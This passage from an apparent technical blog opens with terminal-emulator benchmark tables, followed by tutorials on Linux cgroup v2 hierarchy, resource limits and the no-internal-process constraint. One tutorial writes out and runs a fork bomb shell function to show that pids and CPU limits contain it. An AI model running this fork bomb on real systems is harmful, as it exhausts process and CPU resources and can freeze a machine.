+==========================================================+==========+=========================================+
| [stream_feed 2400x8000] vi.input->HistoryScreen          | 49.4 ms  | 6.70 ms: 7.38x faster                   |
| [stream_feed 2400x8000] top.input->HistoryScreen         | 7.35 ms  | 1.31 ms: 5.62x faster                   |
| [stream_feed 2400x8000] find-etc.input->HistoryScreen    | 2.92 sec | 543 ms: 5.38x faster                    |
| [stream_feed 240x800] ls.input->HistoryScreen            | 9.29 ms  | 1.75 ms: 5.31x faster                   |
| [stream_feed 24x80] top.input->HistoryScreen             | 6.61 ms  | 1.25 ms: 5.30x faster                   |
| [stream_feed 240x800] top.input->HistoryScreen           | 6.57 ms  | 1.24 ms: 5.29x faster                   |
| [stream_feed 240x800] cat-gpl3.input->HistoryScreen      | 215 ms   | 43.3 ms: 4.97x faster                   |
| [stream_feed 24x80] ls.input->HistoryScreen              | 6.26 ms  | 1.34 ms: 4.68x faster                   |
| [stream_feed 24x80] cat-gpl3.input->HistoryScreen        | 140 ms   | 31.9 ms: 4.38x faster                   |
| [stream_feed 240x800] find-etc.input->HistoryScreen      | 532 ms   | 123 ms: 4.32x faster                    |
| [stream_feed 2400x8000] vi.input->Screen                 | 13.7 ms  | 3.53 ms: 3.88x faster                   |
| [stream_feed 24x80] find-etc.input->HistoryScreen        | 294 ms   | 81.1 ms: 3.62x faster                   |
| [stream_feed 2400x8000] htop.input->HistoryScreen        | 122 ms   | 34.4 ms: 3.54x faster                   |
    :::                 ::::                                    ::::         :::
| [stream_feed 240x800] vi.input->Screen                   | 5.39 ms  | 2.67 ms: 2.02x faster                   |
| [stream_feed 24x80] mc.input->HistoryScreen              | 44.3 ms  | 24.4 ms: 1.82x faster                   |
| [stream_feed 2400x8000] htop.input->Screen               | 38.1 ms  | 21.4 ms: 1.78x faster                   |
| [stream_feed 240x800] htop.input->Screen                 | 23.2 ms  | 13.2 ms: 1.76x faster                   |
| [stream_feed 240x800] find-etc.input->Screen             | 134 ms   | 77.0 ms: 1.74x faster                   |
| [stream_feed 24x80] vi.input->Screen                     | 4.45 ms  | 2.57 ms: 1.73x faster                   |
| [stream_feed 24x80] htop.input->Screen                   | 20.8 ms  | 12.2 ms: 1.71x faster                   |
| [stream_feed 2400x8000] cat-gpl3.input->HistoryScreen    | 262 ms   | 157 ms: 1.67x faster                    |
| [stream_feed 240x800] mc.input->HistoryScreen            | 63.7 ms  | 43.8 ms: 1.45x faster                   |
| [stream_feed 2400x8000] ls.input->Screen                 | 7.77 ms  | 5.61 ms: 1.38x faster                   |
| [stream_feed 24x80] mc.input->Screen                     | 17.6 ms  | 13.1 ms: 1.34x faster                   |
| [stream_feed 2400x8000] find-etc.input->Screen           | 616 ms   | 501 ms: 1.23x faster                    |
| [stream_feed 2400x8000] cat-gpl3.input->Screen           | 170 ms   | 143 ms: 1.19x faster                    |
| [stream_feed 2400x8000] mc.input->HistoryScreen          | 259 ms   | 285 ms: 1.10x slower                    |
| [stream_feed 240x800] mc.input->Screen                   | 23.3 ms  | 32.3 ms: 1.39x slower                   |
| [stream_feed 2400x8000] mc.input->Screen                 | 71.2 ms  | 281 ms: 3.94x slower                    |

The mc.input however took much more time.

When track_dirty_lines is False and disable_display_graphic is True, the overall performance increases even further.

+----------------------------------------------------------+----------+----------------------------------------+
| Benchmark                                                | 0.8.1    | 0.8.1+screen-optimizations+custom-conf |
+==========================================================+==========+========================================+
| [stream_feed 2400x8000] mc.input->HistoryScreen          | 259 ms   | 21.2 ms: 12.19x faster                 |
| [stream_feed 2400x8000] vi.input->HistoryScreen          | 49.4 ms  | 5.52 ms: 8.95x faster                  |
| [stream_feed 2400x8000] mc.input->Screen                 | 71.2 ms  | 10.8 ms: 6.60x faster                  |
| [stream_feed 2400x8000] find-etc.input->HistoryScreen    | 2.92 sec | 464 ms: 6.29x faster                   |
| [stream_feed 2400x8000] top.input->HistoryScreen         | 7.35 ms  | 1.27 ms: 5.80x faster                  |
| [stream_feed 2400x8000] htop.input->HistoryScreen        | 122 ms   | 22.3 ms: 5.45x faster                  |
| [stream_feed 2400x8000] vi.input->Screen                 | 13.7 ms  | 2.52 ms: 5.43x faster                  |
| [stream_feed 24x80] top.input->HistoryScreen             | 6.61 ms  | 1.23 ms: 5.38x faster                  |
| [stream_feed 240x800] ls.input->HistoryScreen            | 9.29 ms  | 1.73 ms: 5.37x faster                  |
| [stream_feed 240x800] cat-gpl3.input->HistoryScreen      | 215 ms   | 42.0 ms: 5.12x faster                  |
    :::                 ::::                                    ::::         :::
| [stream_feed 24x80] cat-gpl3.input->Screen               | 46.3 ms  | 17.2 ms: 2.69x faster                  |
| [stream_feed 240x800] top.input->Screen                  | 2.39 ms  | 913 us: 2.61x faster                   |
| [stream_feed 24x80] top.input->Screen                    | 2.36 ms  | 914 us: 2.58x faster                   |
| [stream_feed 2400x8000] ls.input->HistoryScreen          | 13.4 ms  | 5.39 ms: 2.50x faster                  |
| [stream_feed 24x80] htop.input->HistoryScreen            | 55.3 ms  | 22.6 ms: 2.44x faster                  |
    :::                 ::::                                    ::::         :::
| [stream_feed 240x800] vi.input->Screen                   | 5.39 ms  | 2.57 ms: 2.10x faster                  |
| [stream_feed 24x80] mc.input->HistoryScreen              | 44.3 ms  | 21.3 ms: 2.08x faster                  |
| [stream_feed 2400x8000] cat-gpl3.input->HistoryScreen    | 262 ms   | 132 ms: 1.99x faster                   |
| [stream_feed 240x800] find-etc.input->Screen             | 134 ms   | 76.3 ms: 1.76x faster                  |
| [stream_feed 24x80] vi.input->Screen                     | 4.45 ms  | 2.54 ms: 1.75x faster                  |
| [stream_feed 24x80] mc.input->Screen                     | 17.6 ms  | 10.6 ms: 1.66x faster                  |
| [stream_feed 2400x8000] ls.input->Screen                 | 7.77 ms  | 4.85 ms: 1.60x faster                  |
| [stream_feed 2400x8000] find-etc.input->Screen           | 616 ms   | 422 ms: 1.46x faster                   |
| [stream_feed 2400x8000] cat-gpl3.input->Screen           | 170 ms   | 118 ms: 1.44x faster                   |

On memory there is an improvement too:

+--------------------------------------------------------------+-------------------+-----------------------------------------------------+
| Benchmark                                                    | 0.8.1.tracemalloc | 0.8.1+screen-optimizations+default-conf.tracemalloc |
+==============================================================+===================+=====================================================+
| [stream_feed 2400x8000] vi.input->HistoryScreen              | 11.7 MB           | 686.8 kB: 17.45x faster                             |
| [stream_feed 2400x8000] vi.input->Screen                     | 4742.1 kB         | 538.0 kB: 8.81x faster                              |
| [stream_feed 2400x8000] htop.input->HistoryScreen            | 14.5 MB           | 3552.1 kB: 4.18x faster                             |
| [stream_feed 240x800] vi.input->HistoryScreen                | 2679.0 kB         | 686.8 kB: 3.90x faster                              |
| [stream_feed 2400x8000] top.input->HistoryScreen             | 2120.7 kB         | 611.8 kB: 3.47x faster                              |
| [stream_feed 2400x8000] htop.input->Screen                   | 11.5 MB           | 3408.2 kB: 3.45x faster                             |
| [stream_feed 2400x8000] top.input->Screen                    | 2155.1 kB         | 680.2 kB: 3.17x faster                              |
| [stream_feed 240x800] htop.input->HistoryScreen              | 2189.7 kB         | 1005.8 kB: 2.18x faster                             |
| [stream_feed 240x800] vi.input->Screen                       | 1107.7 kB         | 536.1 kB: 2.07x faster                              |
| [stream_feed 240x800] htop.input->Screen                     | 1782.7 kB         | 990.6 kB: 1.80x faster                              |
            :::                 ::::                                    ::::         :::
| [stream_feed 240x800] find-etc.input->HistoryScreen          | 2233.5 kB         | 1502.4 kB: 1.49x faster                             |
| [stream_feed 24x80] ls.input->HistoryScreen                  | 1554.3 kB         | 1086.0 kB: 1.43x faster                             |
| [stream_feed 24x80] cat-gpl3.input->HistoryScreen            | 1354.0 kB         | 960.1 kB: 1.41x faster                              |
| [stream_feed 24x80] top.input->Screen                        | 948.2 kB          | 680.2 kB: 1.39x faster                              |
| [stream_feed 24x80] vi.input->HistoryScreen                  | 954.7 kB          | 686.8 kB: 1.39x faster                              |
| [stream_feed 24x80] find-etc.input->HistoryScreen            | 1017.6 kB         | 774.9 kB: 1.31x faster                              |
| [stream_feed 240x800] top.input->HistoryScreen               | 763.6 kB          | 653.6 kB: 1.17x faster                              |
| [stream_feed 24x80] mc.input->HistoryScreen                  | 485.0 kB          | 417.6 kB: 1.16x faster                              |
| [stream_feed 24x80] htop.input->Screen                       | 936.1 kB          | 814.3 kB: 1.15x faster                              |
| [stream_feed 24x80] mc.input->Screen                         | 722.3 kB          | 651.6 kB: 1.11x faster                              |

The following are the tests that show regression on memory usage.

| [stream_feed 240x800] mc.input->Screen                       | 1842.2 kB         | 2577.4 kB: 1.40x slower                             |
| [stream_feed 240x800] mc.input->HistoryScreen                | 1793.2 kB         | 2548.1 kB: 1.42x slower                             |
| [stream_feed 2400x8000] mc.input->HistoryScreen              | 13.6 MB           | 22.3 MB: 1.64x slower                               |
| [stream_feed 2400x8000] ls.input->HistoryScreen              | 8422.1 kB         | 13.7 MB: 1.67x slower                               |
| [stream_feed 2400x8000] mc.input->Screen                     | 12.2 MB           | 22.3 MB: 1.82x slower                               |

When track_dirty_lines is False and disable_display_graphic is True, this is even better:

+--------------------------------------------------------------+-------------------+----------------------------------------------------+
| Benchmark                                                    | 0.8.1.tracemalloc | 0.8.1+screen-optimizations+custom-conf.tracemalloc |
+==============================================================+===================+====================================================+
| [stream_feed 2400x8000] mc.input->HistoryScreen              | 13.6 MB           | 414.1 kB: 33.60x faster                            |
| [stream_feed 2400x8000] mc.input->Screen                     | 12.2 MB           | 447.6 kB: 27.98x faster                            |
| [stream_feed 2400x8000] htop.input->Screen                   | 11.5 MB           | 600.5 kB: 19.59x faster                            |
| [stream_feed 2400x8000] vi.input->HistoryScreen              | 11.7 MB           | 665.4 kB: 18.01x faster                            |
| [stream_feed 2400x8000] htop.input->HistoryScreen            | 14.5 MB           | 1009.0 kB: 14.73x faster                           |
| [stream_feed 2400x8000] vi.input->Screen                     | 4742.1 kB         | 522.4 kB: 9.08x faster                             |
| [stream_feed 240x800] mc.input->HistoryScreen                | 1793.2 kB         | 417.4 kB: 4.30x faster                             |
| [stream_feed 240x800] mc.input->Screen                       | 1842.2 kB         | 447.6 kB: 4.12x faster                             |
| [stream_feed 240x800] vi.input->HistoryScreen                | 2679.0 kB         | 652.6 kB: 4.11x faster                             |
| [stream_feed 2400x8000] top.input->HistoryScreen             | 2120.7 kB         | 653.6 kB: 3.24x faster                             |
| [stream_feed 2400x8000] top.input->Screen                    | 2155.1 kB         | 680.6 kB: 3.17x faster                             |
| [stream_feed 240x800] htop.input->Screen                     | 1782.7 kB         | 600.5 kB: 2.97x faster                             |
| [stream_feed 240x800] htop.input->HistoryScreen              | 2189.7 kB         | 785.0 kB: 2.79x faster                             |
| [stream_feed 240x800] vi.input->Screen                       | 1107.7 kB         | 522.4 kB: 2.12x faster                             |
| [stream_feed 2400x8000] cat-gpl3.input->HistoryScreen        | 20.3 MB           | 11.8 MB: 1.72x faster                              |
            :::                 ::::                                    ::::         :::
| [stream_feed 24x80] find-etc.input->HistoryScreen            | 1017.6 kB         | 774.8 kB: 1.31x faster                             |
| [stream_feed 240x800] top.input->HistoryScreen               | 763.6 kB          | 653.6 kB: 1.17x faster                             |
| [stream_feed 24x80] mc.input->HistoryScreen                  | 485.0 kB          | 422.0 kB: 1.15x faster                             |

However, we still have some regressions:

| [stream_feed 24x80] htop.input->HistoryScreen                | 863.7 kB          | 1009.0 kB: 1.17x slower                            |
| [stream_feed 2400x8000] ls.input->HistoryScreen              | 8422.1 kB         | 13.7 MB: 1.67x slower                              |

`Screen.reset`

For Screen.reset we have a regressions, some minor, some not-so-much minor:

+----------------------------------------------------------+----------+-----------------------------------------+
| Benchmark                                                | 0.8.1    | 0.8.1+screen-optimizations+default-conf |
+==========================================================+==========+=========================================+
| [screen_reset 2400x8000] ls.input->HistoryScreen         | 65.4 us  | 68.9 us: 1.05x slower                   |
| [screen_reset 2400x8000] mc.input->Screen                | 51.9 us  | 54.8 us: 1.06x slower                   |
| [screen_reset 2400x8000] top.input->HistoryScreen        | 65.6 us  | 69.5 us: 1.06x slower                   |
    :::                 ::::                                    ::::         :::
| [screen_reset 24x80] cat-gpl3.input->HistoryScreen       | 13.2 us  | 15.4 us: 1.17x slower                   |
| [screen_reset 24x80] vi.input->HistoryScreen             | 13.0 us  | 15.3 us: 1.18x slower                   |
| [screen_reset 240x800] htop.input->Screen                | 4.87 us  | 5.78 us: 1.19x slower                   |
| [screen_reset 24x80] mc.input->HistoryScreen             | 13.1 us  | 15.7 us: 1.19x slower                   |
| [screen_reset 240x800] mc.input->Screen                  | 4.81 us  | 5.75 us: 1.20x slower                   |
| [screen_reset 24x80] ls.input->HistoryScreen             | 13.0 us  | 15.5 us: 1.20x slower                   |
| [screen_reset 24x80] find-etc.input->HistoryScreen       | 13.0 us  | 15.6 us: 1.20x slower                   |
| [screen_reset 24x80] htop.input->HistoryScreen           | 12.9 us  | 15.5 us: 1.21x slower                   |
| [screen_reset 240x800] find-etc.input->Screen            | 4.86 us  | 5.87 us: 1.21x slower                   |
| [screen_reset 240x800] htop.input->HistoryScreen         | 15.6 us  | 18.9 us: 1.21x slower                   |
| [screen_reset 240x800] vi.input->Screen                  | 4.83 us  | 5.87 us: 1.22x slower                   |
| [screen_reset 240x800] top.input->Screen                 | 4.72 us  | 5.77 us: 1.22x slower                   |
    :::                 ::::                                    ::::         :::
| [screen_reset 240x800] ls.input->Screen                  | 4.79 us  | 5.86 us: 1.22x slower                   |
| [screen_reset 240x800] cat-gpl3.input->Screen            | 4.79 us  | 5.89 us: 1.23x slower                   |
| [screen_reset 24x80] vi.input->Screen                    | 2.05 us  | 3.05 us: 1.49x slower                   |
| [screen_reset 24x80] mc.input->Screen                    | 2.04 us  | 3.05 us: 1.49x slower                   |
| [screen_reset 24x80] ls.input->Screen                    | 2.01 us  | 3.01 us: 1.50x slower                   |
| [screen_reset 24x80] htop.input->Screen                  | 2.02 us  | 3.06 us: 1.51x slower                   |
| [screen_reset 24x80] cat-gpl3.input->Screen              | 2.03 us  | 3.07 us: 1.52x slower                   |
| [screen_reset 24x80] top.input->Screen                   | 2.03 us  | 3.11 us: 1.53x slower                   |
| [screen_reset 24x80] find-etc.input->Screen              | 2.00 us  | 3.06 us: 1.53x slower                   |

However when track_dirty_lines is False and disable_display_graphic is True, the things improves (but we still have regressions):

+----------------------------------------------------------+----------+----------------------------------------+
| Benchmark                                                | 0.8.1    | 0.8.1+screen-optimizations+custom-conf |
+==========================================================+==========+========================================+
| [screen_reset 2400x8000] find-etc.input->Screen          | 51.3 us  | 15.2 us: 3.38x faster                  |
| [screen_reset 2400x8000] mc.input->Screen                | 51.9 us  | 15.5 us: 3.35x faster                  |
| [screen_reset 2400x8000] vi.input->Screen                | 52.8 us  | 15.9 us: 3.32x faster                  |
    :::                 ::::                                    ::::         :::
| [screen_reset 2400x8000] cat-gpl3.input->HistoryScreen   | 66.5 us  | 29.9 us: 2.22x faster                  |
| [screen_reset 2400x8000] htop.input->HistoryScreen       | 64.6 us  | 29.4 us: 2.20x faster                  |
| [screen_reset 240x800] htop.input->Screen                | 4.87 us  | 4.58 us: 1.06x faster                  |
| [screen_reset 240x800] find-etc.input->Screen            | 4.86 us  | 4.62 us: 1.05x faster                  |
| [screen_reset 240x800] cat-gpl3.input->HistoryScreen     | 16.0 us  | 17.0 us: 1.06x slower                  |
| [screen_reset 240x800] mc.input->HistoryScreen           | 16.0 us  | 17.1 us: 1.07x slower                  |
| [screen_reset 240x800] find-etc.input->HistoryScreen     | 16.1 us  | 17.3 us: 1.07x slower                  |
| [screen_reset 240x800] top.input->HistoryScreen          | 15.9 us  | 17.1 us: 1.08x slower                  |
| [screen_reset 240x800] htop.input->HistoryScreen         | 15.6 us  | 17.5 us: 1.12x slower                  |
    :::                 ::::                                    ::::         :::
| [screen_reset 24x80] htop.input->HistoryScreen           | 12.9 us  | 15.3 us: 1.19x slower                  |
| [screen_reset 24x80] htop.input->Screen                  | 2.02 us  | 2.89 us: 1.43x slower                  |
| [screen_reset 24x80] top.input->Screen                   | 2.03 us  | 2.92 us: 1.44x slower                  |
| [screen_reset 24x80] mc.input->Screen                    | 2.04 us  | 2.94 us: 1.44x slower                  |
| [screen_reset 24x80] ls.input->Screen                    | 2.01 us  | 2.90 us: 1.44x slower                  |
| [screen_reset 24x80] vi.input->Screen                    | 2.05 us  | 2.96 us: 1.44x slower                  |
| [screen_reset 24x80] find-etc.input->Screen              | 2.00 us  | 2.90 us: 1.45x slower                  |
| [screen_reset 24x80] cat-gpl3.input->Screen              | 2.03 us  | 2.96 us: 1.46x slower                  |

Control Group - No Internal Process Constraint

2022-04-27T00:00:00+00:00

⊕ Previous posts: hierarchical organization
and resources distribution

In the previous post we saw that we cannot enable a controller or add a process to a cgroup freely. That would make the implementation of each controller harder.

In v2 the hierarchy is subject to the no internal process constraint that ensures that a controller will have all the processes in leaves of its domain tree.

This is the last of a 3-post series about cgroup and certainly, this no internal process constraint was the hardest to understand.

Let’s create the following cgroup hierarchy to play with. Notice how we enable the resource controller +cpu on test/’s and test/cg1/’s subtrees but not on test/cg2/’s.

⊕ $ cd /sys/fs/cgroup $ mkdir -p test/cg1/cg1_1 $ mkdir -p test/cg1/cg1_2 $ mkdir -p test/cg2/cg2_1 $ mkdir -p test/cg2/cg2_2 $ echo '+cpu' > test/cgroup.subtree_control $ echo '+cpu' > test/cg1/cgroup.subtree_control

Let’s create a long running process and let’s move it to one cgroup. In fact, let’s try different cgroups and see what happen:

$ sleep 1000 &
[<job-id-proc1>] <pid-proc1>

$ echo <pid-proc1> > test/cgroup.procs            # byexample: +paste
$ echo <pid-proc1> > cgroup.procs         # byexample: +paste

$ echo <pid-proc1> > test/cg1/cgroup.procs        # byexample: +paste
$ echo <pid-proc1> > cgroup.procs         # byexample: +paste

$ echo <pid-proc1> > test/cg1/cg1_1/cgroup.procs        # byexample: +paste
$ echo <pid-proc1> > cgroup.procs               # byexample: +paste

$ echo <pid-proc1> > test/cg2/cg2_1/cgroup.procs        # byexample: +paste
$ echo <pid-proc1> > cgroup.procs               # byexample: +paste

The process could be moved to test/, test/cg1/, test/cg1/cg1_1/ and test/cg2/cg2_1/ without problems.

But you may wonder, what is the need of echo <pid-proc1> > ../cgroup.procs1? Why after moving the process to a cgroup I had to move it to the root before move it again to another cgroup?

The hierarchy is empty so the resource controller is not acting on any process yet. Once a process is added to one of the cgroups the “no internal process” constraint enters in action.

Let me show you.

Adding a process under the “no internal process” constraint

I will move the sleep process to test/cg1/ and then move it again to test/cg1/cg1_1/ as before but without moving it to the root in between.

$ echo <pid-proc1> > test/cg1/cgroup.procs        # byexample: +paste

$ echo <pid-proc1> > test/cg1/cg1_1/cgroup.procs        # byexample: +paste
<...>write error: Operation not supported

Okay, it seems that we cannot move our process after all!

Is because we cannot move it from where it is or because we cannot move it to where we want?

We could move it outside so it is likely that the problem is that we cannot move it to test/cg1/cg1_1/.

Let’s try with another process:

⊕ Diagram that shows the errors got when tried to add process 2 (p2) to different cgroups. Only to test/cg1/ succeeded.

$ sleep 1000 &
[<job-id-proc2>] <pid-proc2>

$ echo <pid-proc2> > test/cg1/cg1_1/cgroup.procs        # byexample: +paste
<...>write error: Operation not supported

$ echo <pid-proc2> > test/cg1/cg1_2/cgroup.procs        # byexample: +paste
<...>write error: Operation not supported

$ echo <pid-proc2> > test/cgroup.procs                  # byexample: +paste
<...>write error: Device or resource busy

$ echo <pid-proc2> > test/cg1/cgroup.procs              # byexample: +paste

Interesting!

Once we put the first process in test/cg1/ we locked the test/cg1/ subtree and all its ancestors: no process can be added to them except exclusively to test/cg1/ itself (well, root is an exception to this).

Sibling hierarchy

Adding a process to a hierarchy enforces us to add the rest of the processes in the same cgroup or in different sibling hierarchy.

Add a third process to test/cg2/, no problem arise from.

$ sleep 1000 &
[<job-id-proc3>] <pid-proc3>

$ echo <pid-proc3> > test/cg2/cgroup.procs        # byexample: +paste

How does the resource controller affect?

There is one last piece to our puzzle.

We can add a process to a subtree of an occupied cgroup if there are no resource controller enabled on the subtree.

Take this case where we can add a processes to test/cg2/ subtree but not to test/cg1/ subtree. In both cases test/cg2/ and test/cg1/ are already occupied but test/cg1/ delegated the +cpu to its subtree and that’s what block us to add any process there.

Add a fourth process to test/cg1/cg1_2, fail and then add it to test/cg2/cg2_2. The only difference that would explain why we failed in the first cgroup is because +cpu controller is enabled on the cgroup while in test/cg2/cg2_2 is not.

$ sleep 1000 &
[<job-id-proc4>] <pid-proc4>

$ echo <pid-proc4> > test/cg1/cg1_2/cgroup.procs        # byexample: +paste
<...>write error: Operation not supported

$ echo <pid-proc4> > test/cg2/cg2_2/cgroup.procs        # byexample: +paste

Flow diagram for adding a process

Diagram of the flow for adding a process to a cgroup and the possible outcomes that summarizes all the talked so far.

This is a sketch and by no means it is a fully specification.

Enabling a resource control under the “no internal process” constraint

Let’s shuffle the things resetting the resource controller and repositioning the processes as follows:

⊕ State of the hierarchy after the reset and repositioning.

Send all the processes to root temporally so they don’t interfere:

$ echo <pid-proc1> > cgroup.procs        # byexample: +paste
$ echo <pid-proc2> > cgroup.procs        # byexample: +paste
$ echo <pid-proc3> > cgroup.procs        # byexample: +paste
$ echo <pid-proc4> > cgroup.procs        # byexample: +paste

Disable the controller and delete/create some nested cgroups:

$ echo '-cpu' > test/cg1/cgroup.subtree_control
$ echo '-cpu' > test/cgroup.subtree_control

$ rmdir test/cg1/cg1_2 test/cg2/cg2_2
$ mkdir test/cg3 test/cg3/cg3_1

Put back the processes into the cgroups:

$ echo <pid-proc1> > test/cg1/cgroup.procs              # byexample: +paste
$ echo <pid-proc2> > test/cg1/cg1_1/cgroup.procs        # byexample: +paste
$ echo <pid-proc3> > test/cg2/cg2_1/cgroup.procs        # byexample: +paste
$ echo <pid-proc4> > test/cg3/cgroup.procs              # byexample: +paste

Let’s play with it and see to what extend we can enable the +cpu controller along the hierarchy:

$ echo '+cpu' > test/cgroup.subtree_control

$ echo '+cpu' > test/cg1/cgroup.subtree_control
<...>write error: Device or resource busy

We could enable +cpu on test/’s children but we had some trouble going further.

We couldn’t enable on test/cg1/’s children because test/cg1/ and one of its children are not empty.

And because a cgroup can enable the control in its subtree only if its parent enabled it for it, test/cg1/cg1_1/ will fail because its parent does not have the control of +cpu:

$ echo '+cpu' > test/cg1/cg1_1/cgroup.subtree_control
<...>write error: No such file or directory

In contrast with test/cg1/ we didn’t have trouble enabling on test/cg2/’s and test/cg3/’s children because in the first case test/cg2/ is empty and in the second case is the child test/cg3/cg3_1/ that it is empty.

$ echo '+cpu' > test/cg2/cgroup.subtree_control

$ echo '+cpu' > test/cg3/cgroup.subtree_control

$ echo '+cpu' > test/cg2/cg2_1/cgroup.subtree_control

$ echo '+cpu' > test/cg3/cg3_1/cgroup.subtree_control
<...>write error: Operation not supported

Flow diagram for enabling a controller in a subtree

Diagram of the flow for enabling a controller on a subtree and the possible outcomes that summarizes all the talked so far.

This is a sketch and by no means it is a fully specification.

No internal process constraint, from a controller’s perspective

Consider the scenario seen earlier:

Let’s see it from the +cpu controller’s perspective.

You are at test/cg1/ with some processes there. The cgroup has the controller’s files to control/distribute the resources (cpu.max in this case).

It is easy to see how cpu.max can be interpreted: just control the CPU usage among p1 and p2.

But what would you if a process is added to test/cg1/cg1_1/. The problem is not that you have another process, the problem is that test/cg1/cg1_1/ also has its own control file.

How would you interpret that control file in test/cg1/cg1_1/ and at the same time the file in test/cg1/ and distribute the CPU among the processes of both cgroups?

It is not easy.

In v1 this situation added a lot of complexity to the controllers and eventually added inconsistencies between them about how to treat these cases.

In v2 these cases are just forbidden: you cannot have processes in one cgroup and in its subtree and at the same time have a control file in the cgroup and another in the subtree.

From the controller’s perspective, in term of the location of its control file, all the processes are at the leaves of its domain. Even if the processes are in different sub cgroups, these sub cgroups will not distribute the resource further (they don’t have a control file to do it!).

Final comments

We grasped how cgroup works, how it is organized and how the resources are distributed.

But I left a lot of things outside: how cgroup security works, which controllers are how they work, how cgroup works inside a container and probably a few bits more.

Happy research!

Control Group - Resource Distribution

2022-04-24T00:00:00+00:00

⊕ Previous post: hierarchical organization
Next coming post: no internal process constraint

A system has hundreds of resources that process may use (and exhaust!): controlling them it is not trivial and requires a precise intervention by part of the kernel.

We’ll use the simplest resource to understand: the amount of process ids or pids.

While CPU and memory are the most common resources that can be exhausted, the process id space is not infinite: it is an integer typically in the range of 1 to $2^{16}$.

A malicious or really-bugged program can trivially consume all the available pids spawning thousands of processes and threads long before other resource get exhausted. This the so called fork bomb.

Once you run out of pids, no other process can be started leaving the system unusable.

In this post we will explore the rules of resources distribution in a cgroup hierarchy and in particular how to avoid fork bombs to explode.

Limit the resource (pid count) on a cgroup

⊕ cgroup hierarchy after adding the shell process to test/.
Boxes represent cgroups and the arrows between the nesting (here, test/ is inside of the root / cgroup). Circles are processes and the small purple dots are the resource controller’s setting (the limit of pids in this case).

Let’s create a test/ cgroup:

$ cd /sys/fs/cgroup
$ mkdir test

Let’s add ourselves to test/: we add the shell process to test/ by adding its process id into cgroup.procs file.

$ echo $$ > test/cgroup.procs

Now we can query how many pids are being used in the cgroup. The expected count is 2: one for the shell that we added and other for the cat program that it is reading pids.current:

$ cat test/pids.current
2

⊕ cgroup hierarchy during the execution of echo "Hello" | cat. Both echo and cat are children of shell so they inherit the parent’s cgroup by default but due the limit on pids ≤ 2, the spawn of cat fails (the fork syscall fails) and the process never gets alive.

The +pids controller allows us to set a maximum: once reached calls to fork or clone will fail because they will not be able to reserve another pid.

$ echo 2 > test/pids.max

$ echo "Hello"
Hello

$ echo "Hello" | cat        # byexample: +timeout=30
<...>fork: Resource temporarily unavailable

Resource distribution over a subtree

⊕ Notice how test/cg1/ and test/cg2/ are (sub) cgroups of test/.

We can divide test/ in more sub cgroups however there are no pids.max there by default:

$ mkdir test/cg1
$ mkdir test/cg2

$ ls -1 test/cg1/pids*
<...>No such file or directory

$ ls -1 test/cg2/pids*
<...>No such file or directory

Each new (sub) cgroup will not inherit the controllers of its parent. The parent must explicitly select which controllers its children will administrate.

Nevertheless, the sub cgroups are subject to the limits of the controller.

⊕ Despite +pids not be enabled on test/cg1/ the limit imposed by test/ still applies.
Notice also that writing shell’s pid to test/cg1/cgroup.procs literally moved it from test/ to test/cg1/: each process belongs to one and only one cgroup.

To prove this, let’s move our shell to test/cg1/ and try to spawn more than 2 processes there.

$ echo $$ > test/cg1/cgroup.procs
$ cat test/cgroup.procs

$ # the limit of 2 processes on test/ applies to test/'s children too
$ echo "Hello" | cat        # byexample: +timeout=30
<...>fork: Resource temporarily unavailable

In fact the whole subtree works as single unit: the sum of the consumed resources by the processes in the subtree is subject to the limits of the controller.

Let’s extend the limit to 3 processes, create a long running process in test/cg2/ and try to spawn more processes on test/cg1/ as before.

While neither the amount of processes in test/cg1/ nor test/cg2/ exceed the limit of 3 processes, the sum does.

⊕

$ # limit on our parent (test/)
$ echo 3 > test/pids.max

$ # we can spawn 2 processes without problem
$ # because we under the limit (2+1 <= 3)
$ echo "Hello" | cat
Hello

$ # let's add a process to our sibling (test/cg2)
$ sleep 1000 &
[<job-id-proc1>] <pid-proc1>
$ echo <pid-proc1> > test/cg2/cgroup.procs      # byexample: +paste

$ # limit exceeded: our shell, the sleep process and these
$ # 2 spawned processes exceeds the limit of 3 for the whole
$ # subtree of test/
$ echo "Hello" | cat        # byexample: +timeout=30
<...>fork: Resource temporarily unavailable

Further resource distribution: top-down constraint

Having sub cgroups makes more sense if we enable controllers there allowing us to have a better discretion to distribute the resources.

⊕ Writing to +pids to test/cgroup.subtree_control enables the resource controller on the immediate children.

If we want to define (sub) limits in the test/ immediate children, we need to enable the +pids controller on the subtree.

$ # kill the sleep process, not of much interest from now on
$ kill -15 <pid-proc1>                          # byexample: +paste +pass

$ # enable the controller to the test/ children
$ echo '+pids' > test/cgroup.subtree_control

The cgroup.subtree_control lists which controllers the immediate children will have access and control over.

$ ls -1 test/cg1/pids*
test/cg1/pids.current
test/cg1/pids.events
test/cg1/pids.max

$ ls -1 test/cg2/pids*
test/cg2/pids.current
test/cg2/pids.events
test/cg2/pids.max

By default the sub cgroups will have no limit on their pids.max file but the are still subject to the limit set in test/.

$ cat test/cg1/pids.max      # apparently no limit on the child (test/cg1)
max

$ echo "Hello" | cat | cat   # byexample: +timeout=30
<...>fork: Resource temporarily unavailable

⊕

The controller can never enlarge or relax the limits on the resource beyond the limits given by the parent, it can only restrict it further.

This is the top-down constraint.

So let’s try that!

$ # limit on the parent (test/)
$ echo 6 > test/pids.max

$ # we can perfectly spawn these two process now
$ echo "Hello" | cat
Hello

$ # limit further on the child (cg1/)
$ echo 2 > test/cg1/pids.max

$ # now we can't: we are hitting the limit not of test/ but of test/cg1/
$ echo "Hello" | cat        # byexample: +timeout=30
<...>fork: Resource temporarily unavailable

Explosion contained

⊕ Fork bomb reference.

Not really sure why, but a fork bomb in my machine tends to eat all the CPU so it is not just eating all the pids.

Thankfully, there is a resource controller for the CPU in cgroup too.

$ echo 3 > test/pids.max                # byexample: +fail-fast
$ echo "1000 100000" > test/cpu.max     # byexample: +fail-fast

$ echo max > test/cg1/pids.max

$ bomb() {
>  bomb | bomb
> }

$ bomb       # byexample: +timeout=90
<...>Resource temporarily unavailable<...>

After a few experiments I would say that the +pids controller is by no means the only measure to take to contain a fork explosion. Without +cpu I melted down my machine a few times.

Run the bomb under your responsibility!

Next stuff

In the past post we talked about how we can organize the cgroup hierarchy and in this post how we can control and distribute resources over it.

But we talked little about where the processes should be put in the hierarchy. It may seem that they could be put anywhere and for v1 that is true.

In v2 however, the things will get a bit hairy and weird with the no internal process constraint.

Control Group - Hierarchical Organization

2022-04-23T00:00:00+00:00

Control group or cgroup is a mechanism to distribute and enforce limits over the resources of the system.

It was introduced in Linux kernel around 2007 but its complexity leaded to inconsistent behaviour and hard adoption.

